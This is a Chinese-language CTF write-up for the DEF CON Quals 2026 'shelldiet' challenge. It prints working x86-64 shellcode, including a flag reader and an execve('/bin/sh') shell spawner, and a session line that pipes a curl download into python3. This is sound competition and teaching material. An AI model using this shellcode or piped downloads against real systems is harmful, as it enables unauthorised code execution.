DEF CON Quals 2026 - shelldiet

I'm on a seed-only diet, except shells

Challenge Overview

shelldiet 是 DEF CON CTF Quals 2026 的一道 King of the Hill 题目。服务器运行一个 C 程序,读取用户提供的 shellcode,计算所有字节之和(称为 "diet level"),然后执行 shellcode。flag 文件位于 /flag,需要通过 shellcode 读取并输出。KoTH 排名基于 diet level:sum 越低排名越高,"Eat-clean diet"(榜首)需要 sum=0。

Given Files

  • chal.c -- 挑战二进制源码
  • Dockerfile / compose.yml / nsjail.cfg -- 部署配置
  • flag -- 占位 flag(shelldiet{fake_flag}
  • chal -- 编译好的二进制
  • launch/handout -- 启动脚本

关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdint.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

uint8_t *shellcode = (uint8_t *)mmap((void *)0x1337000, 4096, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

printf("im hungry: ");
ssize_t nb = read(0, shellcode, 4096);
if (nb <= 0)
return 1;

int s = 0;
for (int i = 0; i < nb; i++)
s += shellcode[i];

int fd = open("/diet-level", O_WRONLY | O_NONBLOCK);
if (fd >= 0) {
write(fd, &s, 4);
close(fd);
}
printf("diet-level: %d\n", s);

__asm__ volatile (
"xor %%rbx, %%rbx\n"
"xor %%rcx, %%rcx\n"
"xor %%rdx, %%rdx\n"
"xor %%rsi, %%rsi\n"
"xor %%rdi, %%rdi\n"
"xor %%rbp, %%rbp\n"
"xor %%r8, %%r8\n"
"xor %%r9, %%r9\n"
"xor %%r10, %%r10\n"
"xor %%r11, %%r11\n"
"xor %%r12, %%r12\n"
"xor %%r13, %%r13\n"
"xor %%r14, %%r14\n"
"xor %%r15, %%r15\n"
"call *%%rax"
:
: "a" (shellcode)
: "rbx","rcx","rdx","rsi","rdi","rbp",
"r8","r9","r10","r11","r12","r13","r14","r15"
);
}

关键特征:

  • shellcode 位于固定地址 0x1337000,RWX 权限
  • 所有通用寄存器在执行前被清零,除了 rax = 0x1337000(指向 shellcode 起始地址)
  • diet level 是所有读入字节的简单累加(int 类型)
  • diet level 写入 /diet-level(一个 FIFO pipe),评分系统从此读取

Solution

尝试 1:sendfile 方式(失败)

最初尝试用 sendfile(1, fd, NULL, 100) 直接将 /flag 内容发送到 stdout:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BITS 64
BASE equ 0x1337000

lea rdi, [rax + flag_path - $$]
push 2
pop rax
syscall ; open("/flag")

push rax
pop rsi ; in_fd
push 1
pop rdi ; out_fd = 1
push 100
pop r10 ; count
push 40
pop rax ; SYS_sendfile
syscall

flag_path: db "/flag", 0

可以正常执行(diet-level 正确输出),但 /flag 输出为空。可能是 nsjail 的 seccomp 过滤了 sendfile 系统调用。

尝试 2:read/write 轮询(超时)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
BITS 64
BASE equ 0x1337000

xor r12d, r12d
poll:
inc r12d
cmp r12d, 10000
jg done

mov edi, BASE + flag_path
push 2
pop rax
syscall
test eax, eax
js poll

mov edi, eax
mov rsi, rsp
mov edx, 200
push 0
pop rax
syscall

cmp eax, 5
jl close_and_retry

mov edx, eax
push 1
pop rdi
push 1
pop rax
syscall

done:
push 0
pop rdi
push 60
pop rax
syscall

close_and_retry:
push 3
pop rax
syscall
jmp poll

flag_path: db "/flag", 0

同样只输出 diet-level 和 "NOT YET SCORED",没有 flag 内容。

最终方案:直接弹 shell

当复杂 shellcode 不工作时,最可靠的方式是直接 execve("/bin/sh") 获取交互式 shell,然后手动探索。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BITS 64
; 所有寄存器已清零,rax = 0x1337000

jmp getstr
back:
pop rdi ; rdi = "/bin/sh"
xor esi, esi ; argv = NULL
xor edx, edx ; envp = NULL
push 59
pop rax ; SYS_execve
syscall

getstr:
call back
db "/bin/sh", 0

汇编后 23 bytes,sum=3031:

1
nasm -f bin -o shell_shell.bin shell_shell.asm

连接服务器,通过 PoW 验证,发送 shellcode,获得 shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ncat --ssl shelldiet.ctfwithbirds.com 1337
Team token: <JWT>
== proof-of-work: argon2id ==
python3 <(curl -sSL https://pow.ctfwithbirds.com/pow) solve a2id.v2.17.xxxx
Solution? <pow_solution>
Correct
im hungry: <发送 shellcode>
diet-level: 3031

$ id
uid=1000(user) gid=1000(user) groups=1000(user)

$ ls -la /
total 64
drwxr-xr-x 1 user user 4096 May 24 02:57 .
drwxr-xr-x 1 user user 4096 May 24 02:57 ..
lrwxrwxrwx 1 user user 7 Apr 22 2024 bin -> usr/bin
...
prw-r--r-- 1 user user 0 May 24 05:14 diet-level
-rw-r--r-- 1 user user 141 May 24 05:16 flag
...

$ cat /flag

Why sendfile / read Failed

/diet-level 是一个 FIFO pipe(prw-r--r--),评分系统通过它异步读取 diet level。"NOT YET SCORED" 消息来自 kCTF 基础设施,不是表示 /flag 不可用。flag 文件一直存在且可读。

sendfile 失败的可能原因: - nsjail 的 seccomp profile 未放行 SYS_sendfile (40) - FIFO 的读端阻塞导致某些 fd 操作异常

Flag

shelldiet{hopefully_i_can_stick_to_this_diet:Nf8pydyfUz9KSzJRKEHB7xweYnpz_5xOhokmU0mfY0zDwY7u6TQPgr4-hZuL-F93uJGWbZ6_SYFVT-AtL4Zep6gh2Y4O564}